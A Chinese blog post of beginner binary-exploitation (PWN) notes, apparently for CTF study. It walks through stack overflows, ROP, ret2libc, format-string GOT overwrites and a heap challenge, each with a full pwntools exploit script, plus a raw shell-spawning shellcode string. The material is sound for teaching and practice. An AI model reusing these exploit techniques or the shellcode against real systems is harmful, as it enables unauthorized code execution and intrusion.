超全PWN入门笔记,从栈到堆一步到位

超全PWN入门笔记,从栈到堆一步到位

PWN入门笔记

环境配置

虚拟机:VMware - Ubuntu18.04/20.04 ----> 清华镜像站找 iso

*22.04存在很多兼容性问题,不要用22.04

装东西:IDA(Win), 换源, vim, gcc, python3, pip, ipython, fish, pwndbg, pwntools,详情请用bing

很好的入门课程

https://www.bilibili.com/video/BV1854y1y7Ro

课程的附件: https://pan.baidu.com/s/1vRCd4bMkqnqqY1nT2uhSYw 提取码: 5rx6

后文的许多题解用的都是这个课中的例题

杂项,随时补充:

1、linux 下的命令行中自带了文本解码的工具,解码 base64: echo 待解码内容 | base64 -d

2、python3 中可以用 字符串.ljust(num, 'a') 用垃圾字符 a 从左向右填充这个字符串到长度为num

3、python 是一个很好的计算器

4、strings 程序名 | grep sh 在程序中寻找含有sh的字符串

pwntools基本用法

1、一切从 from pwn import * 开始

2、打开连接

本地:io = process("***")

远程:io = remote("https://*******", 端口) (后文以此为例)

3、此时 ”io“ 这个对象已经和本地或远程的一个进程连接上了,我们可以对io进行一系列操作

4、从服务器接收数据

接收一行 io.recvline()

全接收完 io.recv()

通过这种方法接收数据可以得到最本真的数据,包括转义字符等东西也会全部显示出来

io.recvuntil('0x') 在读到 0x 之前一直读入数据

io.recv(14) 读入 14 位数据

5、向服务器发送数据

例如: io.send(b"X0H3M6") 或 io.send(p64(114514))(意思是讲 114514 这个整数打包成 64 比特宽度的字节流的形式发送出去,如果是 32 位的程序就用 p32() )

需要注意的是,send() 中填的数据类型必须为字节流,而不是对象,因为对象并不是用二进制表示的编码,如果要发送字符串,也不能直接发送 "114514",因为 py 中用引号括起的字符串是一个对象,我们需要用 b"114514" 将它转化为一个bite类型的数据发送出去

6、io.interactive() 进入交互模式

7、shellcraft.sh() 函数可以得到调用shell的汇编代码,我们可以用 asm(shellcraft.sh()) 将它转换为机器码,并发送给待攻击的服务器

8、关于 64 位程序

(1)必须用 context.arch = 'amd64' 把环境转成 64 位

(2)获取 shellcode 必须用 shellcraft.amd64.sh()

(3)16 进制转字节流必须用 p64(0x114514) 9、elf = ELF('./程序名') 创建一个 elf 对象 10、elf.plt['system'] 查找elf对象中 system@plt 的地址 11、next(elf.search(b'/bin/sh')) 查找该对象中 /bin/sh 的地址 12、context.log_level = 'debug'` 打开很有用的调式模式

gdb命令

1、gdb 程序名 进入 pwndbg 动态调试( gdb 没写反)

2、break 函数名 或 break 地址值 或 break C语言行号 在某处设置断点

3、run 运行程序 next 步过 step 步进

4、stack 整数 查看多少栈

5、vmmap 显示虚拟内存空间的分布

6、info b 查看当前的断点 d 删除某一个断点

7、c (也就是 continue 的缩写)让程序继续执行到下一个断点或结束

8、got 查看 got 表

9、p &printf 查看 printf 函数的真实地址

10、x / 10wx 地址 查看该地址后 10 个内存单元的内容

11、xinfo 地址 查看该地址信息,包括偏移等

12、hexdump 地址 大小 查看堆块内存分布

13、heap 查看堆信息

14、info variables 查看所有的变量信息

15、p &__bss_start 查看 bss 段起始位置

常见的保护

1、the NX bits:栈不可执行

2、ASLR:内存随机化

3、PIE

4、Canary(金丝雀):

5、RELRO

C语言函数调用栈

函数调用栈的过程是十分复杂的,这里简单记一下笔记 多了我也写不明白

1、基础的寄存器

函数调用栈主要涉及到三个寄存器:

esp(栈指针寄存器):存储当前栈顶的位置,也就是始终指向栈顶

ebp(基址指针寄存器):存储当前函数状态的基地址,指向当前系统栈中最顶部的栈帧的底部

eip (指令指针寄存器):存储 CPU 读入指令的地址,CPU 通过 eip 读取即将执行的指令

2、汇编基础

需要记住的汇编指令有:

mov A, B:将 B 赋值给 A ,也就是 A = B

pop A:将当前栈顶的值赋给 A ,然后弹出这个值

push A:将 A 入栈

ret:等效于 pop eip ,将栈顶的值(也就是 return address)赋给eip,让cpu执行那里的指令

call addr:调用函数

3、调用函数

调用一个函数时,先将堆栈原先的基址(EBP)入栈,以保存之前任务的信息。然后将栈顶指针的值赋给EBP,将之前的栈顶作为新的基址(栈底),然后再这个基址上开辟相应的空间用作被调用函数的堆栈。函数返回后,从EBP中可取出之前的ESP值,使栈顶恢复函数调用前的位置;再从恢复后的栈顶可弹出之前的EBP值,因为这个值在函数调用前一步被压入堆栈。这样,EBP和ESP就都恢复了调用前的位置,堆栈恢复函数调用前的状态。(来源于EBP 和 ESP 详解_测试开发小白变怪兽的博客-CSDN博客_ebp)

栈溢出

ret2text攻击

1、开始做题,拿到程序之后,用file 程序名 查看文件信息,用 checksec 程序名 查看保护措施

2、IDA 静态分析

3、gdb 程序名 进入 pwndbg 动态调试(gdb没写反)

(1) break 函数名 或 break 地址值 在某函数开头设置断点

(2) run 运行程序 next 步过 step 步进

(3) stack 整数 查看多少栈

4、基本流程:填充垃圾字符到 ebp,ebp 下一个地址就是函数返回地址,将返回地址修改为后门地址

一个最基本的exp:

from pwn import *

io = process('ret2text')

payload = b'a' * 20 + p32(0x8048522)

io.send(payload)

io.interactive()

ret2shellcode

基本原理:利用程序中可读可写可执行的巨大漏洞段注入调用 shell 的 shellcode 并利用栈溢

出跳转函数返回地址为 shellcode 的段并执行

这里以一道很简单的 ret2shellcode 为例:(绝对不是懒得重新写了)

XMCVE2020--ret2shellcode:

拿到程序后,还是一套流程,file 知道这是 32 位程序,checksec 发现程序没开保护并且有可读可写可执行(RWX)区域

拖 IDA 分析,main 函数如下

int __cdecl main(int argc, const char **argv, const char **envp)

{

char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);

setvbuf(stdin, 0, 1, 0);

puts("No system for you this time !!!");

gets(s);

strncpy(buf2, s, 0x64u);

printf("bye bye ~");

return 0;

}

基本逻辑就是输入字符串 \(s\) 然后拷贝给 \(buf2\) ,我们在汇编中追踪 \(buf2\) ,看到了这些东西

可以看出,buf2 可读可写可执行,并且地址是固定的

那就好办了,我们可以通过栈溢出把 shellcode 赋给 \(buf2\),并且让 main 函数返回到 \(buf2\) 的地址执行它

exp:

from pwn import *

payload = asm(shellcraft.sh()).ljust(112, b'a')

payload += p32(0x0804A080)

io = process('./ret2shellcode')

io.send(payload)

io.interactive()

*pwntools 中自带的 shellcode 比较长,如果遇到溢出长度不够的情况, 可以使用以下的shellcode

shellcode=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

ret2syscall -- ROP基础

基本原理:当一个程序中既没有后门函数,栈又不可执行时,我们可以利用代码中零散的片段拼出一个完整的可以调用 shell 的代码,这些零散的代码片段叫做 gadget

我们想要拼出的汇编代码长这样:

mov eax, 0xb

mov ebx, ["/bin/sh"]

mov ecx, 0

mov edx, 0

int 0x80

这等效于 execve("/bin/sh", NULL, NULL)

我们可以溢出一大段数据,篡改栈帧上自返回地址开始的一段区域为 gadget 的地址,达到把上面的代码连贯起来执行的效果

以一道最简单的 ret2syscall 为例:

XMCVE 2020 ret2syscall

开始先 file 和 checksec 看到它是32位程序,没有保护

用gdb调试,计算出偏移量为108 + 4 = 112

之后我们就可以开始拼凑 gadget 了

使用插件:ROPgadget

先安装(bing)

基本命令:ROPgadget --binary 文件名 --only "pop|ret" 在二进制文件中查找有pop或ret的汇编语句

在后面加上 | grep eax,就可以找到有 eax 的 gadget,以此类推,可以找到 ebx, ecx, edx

以这道题为例,我们先输入 ROPgadget --binary 文件名 --only "pop|ret" | grep eax,终端找了一会,给我们返回了如下结果:

我们发现地址为 0x080bb196 的gadget十分的好看,就可以利用它构造一小段payload,先用vim打开exp,记录它的地址,接着同理,找到合适的 ebx, ecx, edx 的地址

然后,用 ROPgadget --binary 文件名 --only int 查找 int 0x80

我们还可以用这个命令找一些字符串的地址,比如 ROPgadget --binary 文件名 --string '/bin/sh' ,找到 "/bin/sh" 的地址,记录下来(也可以在 IDA 的 shift+F12 字符串总览里按 ctrl + F 搜索)

以上这些操作进行完之后,我们就可以开始拼凑了

exp:

from pwn import *

io = process("./ret2syscall")

pop_eax_ret_addr = 0x080bb196

pop_edx_ecx_ebx_ret_addr = 0x0806eb90

bin_sh_addr = 0x080be408

int_0x80_addr = 0x08049421

payload = flat([b'a' * 112, pop_eax_ret_addr, 0xb, pop_edx_ecx_ebx_ret_addr, 0, 0, bin_sh_addr, int_0x80_addr])

io.sendline(payload)

io.interactive()

ps:flat() 函数接收一个列表类型的数据,并将列表中的每个元素转化成字节型数据,不足一字节的补足到一字节

ret2libc

上道 ret2syscall 的题,我们拿到的程序是静态链接的,程序中包含了所有将要用到的库函数,所以我们可以很方便地找到 gadget ,但是在很多时候,题目中的程序都是动态链接的,程序主体往往很小,我们不能在其中找到完整的 gadget,此时我们就可以从它用到的库中寻找出路,也就是 libc

知识点:为什么system调用的参数要向上找两个字节?

要调用 shell ,我们需要让系统执行这样的指令:

而函数调用栈的结构长这样:

可以看到,父函数压入的子函数的参数 arg1, arg2 越过了 Return Address 和 Caller's ebp 两个字长后,才是子函数的局部变量,根据函数调用约定,子函数会自动越过 Return Address 和 Caller's ebp ,网上找他所需要的参数,子函数自己是知道这一点的

而 system 的汇编中,在 pop 掉它自己之后,第一行便是 push ebp 所以此时栈的结构会变成这样:

显而易见的,我们需要让 local var 往上三个字长后读取到的东西是 '/bin/sh',就得把 system 需要的参数填在 system 往上两个字节的位置

ps:上面的文字只是用 system 函数来举例,其实不止是 system 函数,许多函数也遵循这样的攻击规则,如 gets,puts 等,具体怎么填参数,要由这些函数的底层汇编决定

知识点:程序动态链接的过程

静态链接虽然方便,但带来的是大量内存空间的浪费,以及各种各样的问题,于是动态链接应运而生

在动态链接的程序中,每个函数对应了两个东西,plt 表和 got 表

(以 system 函数为例)

其中 plt 可以类比为 system 在这个程序中的表象,是一串写死在 elf 中的代码,它具有两个功能

1、询问 got 表 system 函数在 libc 中的地址

2、如果 got 表中没有存入这个地址,就调用一个复杂的解析 (resolve) 函数,找出 system 在 libc 中的地址,并把这个地址存在 got 表中(解析函数的具体实现,我们不需要知道 我也不知道)

而 got 表存储的是一个地址,在初始状态指向 plt 表中查询 got 表那一行代码的下一行代码

写不清楚,直接上图

第一次调用的流程如下:

第二次调用的流程就简单多了

XMCVE 2020 ret2libc2:

file+checksec 32位动态链接无保护,拖 IDA 静态分析,发现gets漏洞,gdb 调试,偏移量108+4

这是一个动态链接的程序,我们不能用 ret2syscall 构造 gadget 的方法拿到 shell ,但我们可以构造出形如 system('/bin/sh') 的代码段并让程序执行,根据基础知识,我们需要整出这样的结构

汇编代码中有 system 但没有 /bin/sh ,所以我们需要自己写入一个 "/bin/sh" 并填入它的地址

翻一翻 bss 段(用来存储一些全局变量的),发现在 0x0804A080 的地方藏了个 char buf2,那么我们可以先调用一个 gets,然后把 /bin/sh 输入到 buf2 里,再在调用 system 的时候返回到 buf2,也就是这样一个结构:

exp 如下:

from pwn import *

io = process("./ret2libc2")

io.recv()

sys_addr = 0x8048490

gets_addr = 0x8048460

buf2_addr = 0x804a080

pop_ret = 0x0804843d

payload = flat([b'a' * 112, p32(gets_addr), p32(pop_ret), p32(buf2_addr), p32(sys_addr), b'aaaa', p32(buf2_addr)])

io.sendline(payload)

io.sendline(b'/bin/sh')

io.interactive()

XMCVE 2020 ret2libc3

32位程序无保护,偏移量 56 + 4

拖进 IDA 一看,欸,没有 system 也没有 /bin/sh

先找漏洞点,乍一瞅看不出来

char src[256]; // [esp+12h] [ebp-10Eh] BYREF

char buf[10]; // [esp+112h] [ebp-Eh] BYREF

int v8; // [esp+11Ch] [ebp-4h]

//省略一段代码

read(0, buf, 0xAu);

//省略一段代码

read(0, src, 0x100u);

两个 read 对应的数组长度都对的不能再对了

漏洞点在后面的 \(Print\_message()\) 函数里

char dest[56]; // [esp+10h] [ebp-38h] BYREF

strcpy(dest, src);

看似只是将 \(src\) 复制到了 \(dest\) 中,但是 \(dest\) 只开了 56 长度, \(src\) 的长度有 256 很明显会发生栈溢出

好了回到刚才的问题,没有 system 和 /bin/sh 怎么溢出?

这是一个动态链接的程序,所以 ret2syscall 不可行,但是动态链接也有它的漏洞

动态链接的程序运行时,会把需要的动态链接库整个载入到内存中,就像这样:

就算开启了内存随机化保护,动态链接库也是一个不会被拆开的整块,也就是说,各个函数间的相对距离是永远不变的,而我们肯定有 libc 文件,所以只需要知道其中任意一个函数载入内存后的地址,就可以推出所有函数的地址

而这道题比较的简单,它给我们的程序就是一个内存查询工具,所以我们只需要让他查询一个已执行函数的 got 表里存了什么,就能知道这个函数在内存中的地址,也就能得到 system 的地址

exp:

from pwn import *

io = process('./ret2libc3')

elf = ELF('./ret2libc3')

libc = ELF('libc-2.27.so')

io.recv()

io.sendline(str(elf.got['puts']))

io.recvuntil(b': ')

puts = io.recv(10)

sys = int(puts, 16) - libc.symbols['puts'] + libc.symbols['system']

sh = next(elf.search(b'sh\x00'))

payload = flat([cyclic(60), p32(sys), cyclic(4), p32(sh)])

io.send(payload)

io.interactive()

XMCVE 2020 练习题 pwn2_x64

这道题比较简单,给了 system 和 /bin/sh 主要特殊的点在于:它是个64位程序

特殊在什么地方呢?一般的32位程序中,调用函数时传的参数都被压在栈里了,但是 x64 不太一样,在调用函数时,前 6 个参数会挨个依次存在 rdi, rsi, rdx, rcx, r8, r9 这几个寄存器中,之后的参数才会压到栈里,system 只有一个参数,我们在构造 payload 的时候要整出这样一个结构:

在脑海中把这 3 行栈模拟一遍就能想明白了,exp 如下:

from pwn import *

context.arch = 'amd64'

sys = 0x40063e

binsh = 0x600a90

pop_rdi_ret = 0x4006b3

payload = flat([cyclic(136), p64(pop_rdi_ret), p64(binsh), p64(sys)])

io = process('./level2_x64')

io.recv()

io.send(payload)

io.interactive()

XMCVE 2020 练习题 pwn3

32 位,无保护,偏移量 136 + 4

但是这道题有一个跟上面的 ret2libc3 不一样的地方,上面那道题给了我们内存查找的实现,我们可以直接很方便的得到 libc 的基地址,但是这道题什么都没有,需要我们自己泄露

ssize_t vulnerable_function()

{

char buf[136]; // [esp+0h] [ebp-88h] BYREF

write(1, "Input:\n", 7u);

return read(0, buf, 0x100u);

}

依旧是一个简单的栈溢出漏洞,现在的主要问题是如何找到 libc 的基地址

我们知道,利用 ROP,我们可以控制程序的执行流,让我们想执行什么就执行什么,我们通过让它执行 system(/bin/sh) 拿到了shell,那我们可不可以让他执行 write(libc中某个函数在内存中的真实地址) 让它把地址自己告诉我们呢?显然是可以的,又因为这个时候,write 函数肯定执行过了,所以我们可以让它输出 write 的 got 表内容,得出 libc 基地址

只要构造这样一个结构就好了:

但是如果这样整的话,write 完之后程序就结束运行了,这显然不是我们想要的,那么既然我们可以用 ROP 做到任何事,为什么不能再让它执行一次 vulnerable_function 呢?

所以第一个 payload 如下: payload = flat([cyclic(140), p32(write.plt), p32(vun), p32(1), p32(write.got), p32(4)])

接下来,只需要接收到它给你发送的地址,然后再利用这个地址搞到 system 和 /bin/sh 就好了

exp:(应该是目前为止最长的了)

from pwn import *

#pian yi liang 136 + 4

io = process('./level3')

io.recv()

elf = ELF('./level3')

#libc = ELF('./libc-2.19.so')

libc = ELF('/lib/i386-linux-gnu/libc.so.6')

#write.plt = elf.plt['write']

write.plt = 0x8048340

write.got = elf.got['write']

vun = elf.symbols['vulnerable_function']

payload = flat([cyclic(140), p32(write.plt), vun, p32(1), p32(write.got), p32(4)])

io.sendline(payload)

a = io.recv(4)

libc_write = u32(a)

lb = libc_write - libc.symbols['write']

sys = lb + libc.symbols['system']

binsh = lb + next(libc.search(b'/bin/sh'))

payload = flat([cyclic(140), p32(sys), cyclic(4), p32(binsh)])

io.send(payload)

io.interactive()

NSSCTF-889-Where_is_shell

很久没写题解了,这道题本来只是一个简单的ret2text,但是其中涉及了一个没有接触过的知识点

调用shell的方法,除了 system('/bin/sh') 和 system('sh') 之外,linux 中的 shell 自带了一些变量,其中 $0 是指 shell 本身的文件名,这道题代码段的 0x400541 中有 \x24%\x30 即 $0,我们可以给 system 传 $0 的参拿到 shell

小坑:注意堆栈平衡

exp:

from pwn import *

io = process('./shell')

#io = remote('1.14.71.254', 28198)

elf = ELF('./shell')

offset = 0x10

shell = next(elf.search(b'$0'))

sys = elf.plt['system']

rdi = 0x00000000004005e3

ret = 0x0000000000400416

print(hex(shell))

payload = cyclic(offset + 8) + p64(ret) + p64(rdi) + p64(shell) + p64(sys)

io.sendline(payload)

io.interactive()

格式化字符串漏洞

利用格式化字符串漏洞,就是利用 printf 函数的设计缺陷来达到内存泄漏或篡改内存的目的

格式化字符串

基本格式:%[parameter][flags][field width][.precision][length]type

重点有以下两个:

parameter:获取格式化字符串中的指定参数

例如:printf("%3$d", a, b, c) 执行后只会输出 \(c\)

type:输出的类型

%d:有符号整数

%u:无符号整数

%x:16进制无符号整数,但是不会输出 0x

%c:输出一个字符

%s:输出一个指针所指地址内存放的字符串

%p:输出一个地址,有 0x

%n:不输出字符,但是把已经成功输出的字符个数写入对应的指针参数所指的变量中

其中 %s 和 %n 要重点理解,类比于 got 表的地址和 got 表中存放的地址

printf 的漏洞

我们知道,printf 函数的一般格式是这样的:

char a[11] = "hello world";

printf("%s\n", a);

但是,printf 函数不检查占位符的数量和后面给的参数是否匹配

所以我们把程序改成这样:

char a[11] = "hello world";

printf("%s\n%p\n%x\n", a);

输出了一些奇怪的值

hello world

0x7ff9f2edc

5661d594

它到底输出了什么?

我们联想一下,在32位程序中,调用函数的参数传递是依靠栈来进行的,在正常情况下,程序老老实实地取用了 "hello world" 字符串

但是别忘了,栈上还有其他的数据,所以如果参数一旦填多,就会强行把数据输出出来

所以我们就可以泄露栈上的数据了

XMCVE 练习题 fmtstr1

32位,有 Canary,不能栈溢出,IDA 静态分析如下:

int __cdecl main(int argc, const char **argv, const char **envp)

{

char buf[80]; // [esp+2Ch] [ebp-5Ch] BYREF

unsigned int v5; // [esp+7Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);

be_nice_to_people();

memset(buf, 0, sizeof(buf));

read(0, buf, 0x50u);

printf(buf);

printf("%d!\n", x);

if ( x == 4 )

{

puts("running sh...");

system("/bin/sh");

}

return 0;

}

程序逻辑为把你输入的东西输出出来,如果变量 \(x\) 的值为 4 就给你 shell

可以很容易地看出,漏洞出在 printf(buf) 这里,我们可以利用格式化字符串漏洞

双击变量 \(x\) 跟进,得到 \(x\) 的地址为 0x804A02C,我们可以利用 %n 将 4 写入到 \(x\) 中

先上 payload:p32(0x804A02C) + b"%11$n"

程序先 read 再 printf,也就是会把我们输入的内容在调用 printf 时再压入栈中一次,用作 printf 的参数,上 gdb 动态调试一下,可以看到在刚刚调用 printf 时栈是这样的

可以看到,在地址 0xFFFFCE80 和 0xFFFFCE84 中的,就是刚刚压进来的给 printf 的参数,其中CE80 为格式化字符串,CE84 为格式化字符串的参数,printf 会从格式化字符串,也就是 CE80 开始向高地址找参数,我们从 CE80 往高地址数,数到 read 进去的 'aaaa\n' 刚好是11个字节,所以偏移量为11

记录目前用时最长的一道题(2天)—— BUUCTF wdb_2018_2nd_easyfmt

2018年网鼎杯的比赛原题,32位无保护,无栈溢出,有格式化字符串漏洞,无system无 /bin/sh

IDA 静态分析如下:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)

{

char buf[100]; // [esp+8h] [ebp-70h] BYREF

unsigned int v4; // [esp+6Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);

setbuf(stdin, 0);

setbuf(stdout, 0);

setbuf(stderr, 0);

puts("Do you know repeater?");

while ( 1 )

{

read(0, buf, 0x64u);

printf(buf);

putchar(10);

}

}

我们知道,利用格式化字符串漏洞,我们可以篡改内存中的值,在这道题什么都没有的情况下,我们可以从 libc 里找突破口

众所周知,got 表中存放了某函数在内存中的真实地址,以供动态链接使用,那我们如果能篡改 got 表,就可以执行我们想要的函数了,所以我们可以挑一个函数,将它的 got 表内容修改为 system 函数的真实地址,puts 函数明显符合我们的需求

要实现把 puts 的 got 表内容修改位 system 的真实地址,需要以下几步:

1、泄露 libc 地址

2、计算 system 地址

3、将 system_addr 写入puts@got 中

因为到 \(while ( 1 )\) 的时候 puts 函数肯定执行过了,所以我们可以利用格式化字符串漏洞泄露 puts@got 的地址,得出 libc 的基地址,这部分用 gdb 计算偏移,用 %n$s 泄露

payload1:payload1 = b'%7$s' + p32(elf.got['puts'])

(坑点:偏移量的计算很搞心态,在底下会详细说,只能用 %s 不能用 %p,因为 %p 不解引用,用 %p 只能得到 got 表在哪,不能知道 got 表里放了什么东西)

计算 system 地址:略

篡改 got 表: 这是这道题最难也是最搞心态的一点,能写多详细就写多详细

程序的逻辑为先读入 \(buf\),再将 \(buf\) 作为 printf 的参数,而 \(buf\) 是个局部变量,读入的数据会存放在栈上,所以如果我们在栈上通过 \(buf\) 写入 got 表的地址,再通过 %x$n ,就可以覆写 got 表

这里在构造 payload 计算偏移时,可以先把关键值空出来,在 gdb 里动态调试

我们在 gdb 里调试,看到 puts 的真实地址是 0xf7e0cd90,system 的真实地址是0xf7de23d0,如果一次全部覆盖完,要输出的空格数太多了,所以我们可以先修改后两个字节,再修改前面两个字节,修改前两个字节时,要指向的地址自然就是 printf@got + 2

payload2:flat([p32(printf_got), p32(printf_got + 2), '%', str(sys_low - 8), 'c%6$hn', '%', str(sys_hi - sys_low), 'c%7$hn'])

完整 exp 如下:

from pwn import *

context.binary = './easyfmt'

#context.log_level = 'debug'

io = process('./easyfmt')

#io = remote('node4.buuoj.cn', 28845)

elf = ELF('./easyfmt')

#libc = ELF('./libc-2.23-x32.so')

libc = ELF('/lib/i386-linux-gnu/libc.so.6')

if args.G:

gdb.attach(io)

io.recv()

puts_got = elf.got['puts']

payload1 = b'%7$s' + p32(elf.got['puts'])

io.send(payload1)

puts_real = u32(io.recvuntil('\xf7')[-4:])

printf_got = elf.got['printf']

offset = puts_real - libc.symbols['puts']

sys_real = offset + libc.symbols['system']

sys_low = sys_real & 0xffff

sys_hi = ((sys_real >> 16) & 0xffff)

payload2 = flat([p32(printf_got), p32(printf_got + 2), '%', str(sys_low - 8), 'c%6$hn', '%', str(sys_hi - sys_low), 'c%7$hn'])

#payload3 = fmtstr_payload(6, {printf_got:sys_real}, write_size = 'short')

payload3 = flat(['%', str(sys_low), 'c%13$hn', '%', str(sys_hi - sys_low), 'c%14$hnaa', printf_got, printf_got+2])

io.send(payload2)

time.sleep(0.2)

io.send(b'/bin/sh\x00')

io.interactive()

总结一下这道题的坑点:

1、偏移量的计算很搞心态 很可能是我不熟练

2、程序刚执行的时候只用了 puts 没有用 printf,所以泄露 libc 只能用 puts 来完成

3、在格式化字符串中填入参数时,一定要用 str() 把整数转换成字符串传输

4、32 位和 64 位的 libc 是不一样的,不要用错了

最后,pwntools 里内置了构造篡改 got 表的 payload,具体写法为上文中被注释掉的 payload3,其中第一个参数为偏移量,第三个参数为按照多少个字长的长度写(byte:按字节,short:两个字节,int:四个字节,也就是一个字长),这个函数生成的 payload 跟没有注释掉的 payload3 长的一样,但是因为这个 payload 中把地址写在了后面,会导致偏移量的不好计算,而且涉及了一个字节的补全问题,不是很方便,还是按照 payload2 的写法比较好

堆利用

记录目前实际用时最长的一道题(5h+)攻防世界 new-easypwn

本来我是想做栈的,然后下了一道堆的题,然后就走上了不归路

基本信息:64位保护全开,还去了符号表

那栈溢出的路基本就被堵死了

进 IDA,看到了这个

这一看就是典型的堆题了

因为去除了符号表,我也刚刚学堆,所以看懂程序逻辑并且给变量重命名花了不少时间

在这里可以看到,我们把 phone number 和 name,以及 des 的地址,都保存在了 bss 段里了

并且在 edit 函数的这里,并没有限制输入长度,保存 des 地址的地方又紧跟在 name 后面,所以我们可以进行一个地址溢出,把程序以为的 des 地址篡改成一个我们想要的值

很显然,show 函数的这里有一个格式化字符串漏洞,传进来的参数正是我们输入的 name,那么我们可以利用这个漏洞泄露 elf 和 libc 的地址,从而得出基地址

那么我们可以得出一个基本的攻击思路:先利用格式化字符串泄露出栈上的地址,从而计算出 elf 和 libc 的基地址,利用保存 des 地址的地方的溢出来篡改 des 地址为 menu 函数中 atoi 函数的 got 表地址,然后将 atoi@got 的值修改为计算出的 system 函数的真实地址,再利用 menu 中的 buf 传进 /bin/sh,就可以优雅的执行 system('/bin/sh')

这里介绍一个十分好用的指令:

xinfo 地址 显示这个地址的信息,我们主要能用他得出打开 PIE 保护的情况下当前地址相对于基地址的偏移

用格式化字符串泄露地址并算出基地址之后,我们要做的就是把 bss 段里的 chunk_addr 覆盖成 atoi 的 got 表的地址,对于偏移量的计算,这里有两种方法:

1、在 IDA 中查看

偏移量为 0xF8 - 0xE0 = 0x18 = 24,我们要利用 name 溢出,垃圾字符的长度就是 24 - 电话号码的长度 11 = 13

2、gdb 调试

我们输入 hexdump &__bss_start 130 可以查看 bss 段的130个字节

如图,可以自己数出来

exp:

from pwn import *

context.log_level = 'debug'

def add(phone_number, name, des_size, des_info):

io.recv()

io.sendline(phone_number)

io.recv()

io.sendline(name)

io.recv()

io.sendline(des_size)

io.recv()

io.sendline(des_info)

def delete(index):

io.recv()

io.sendline(index)

def show(index):

# input()

io.recv()

io.sendline(index)

def edit(index, phone_number, name, des_info):

io.recv()

io.sendline(index)

io.recv()

io.sendline(phone_number)

io.recv()

io.sendline(name)

io.recv()

io.sendline(des_info)

io = process('./hello')

elf = ELF('./hello')

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# io = remote('61.147.171.105', 53791)

# libc = ELF('libc-2.23.so')

if args.G:

gdb.attach(io)

io.recv()

io.sendline(b'1')

add(b'%9$p%13$p', b'x0h3m6', b'10', b'hacked')

io.recv()

io.sendline(b'3')

show(b'0')

print(io.recvuntil(b'number:'))

elf_base = int(io.recv(14).ljust(8, b'\x00'), 16) - 0x1274

libc_base = int(io.recv(14).ljust(8, b'\x00'), 16) - libc.symbols['__libc_start_main'] - 243

atoi_got = elf_base + elf.got['atoi']

sys = libc_base + libc.symbols['system']

print(hex(atoi_got))

print(hex(sys))

io.recv()

io.sendline(b'4')

print(p64(atoi_got))

edit(b'0', b'114514', cyclic(13) + p64(atoi_got), p64(sys))

io.recv()

io.send(b'/bin/sh')

io.interactive()

待更新……

相关推荐

炖羊肉放什么调料最佳去腥,生姜/白芷/胡椒粉/橘皮去腥去膻
退房規定是如何?多久前告知,才能完全退款?是否需要扣手續費?
.NET Core即将统治!MFC时代终结?揭秘技术变革背后的真相!
立式空调一级能耗一小时多少度电 立式空调一级能耗一小时的耗电量介绍【详解】
Sonic Hearing Aids
bat365bet

Sonic Hearing Aids

📅 08-30 👁️ 8627
《烈》字义,《烈》字的字形演变,小篆隶书楷书写法《烈》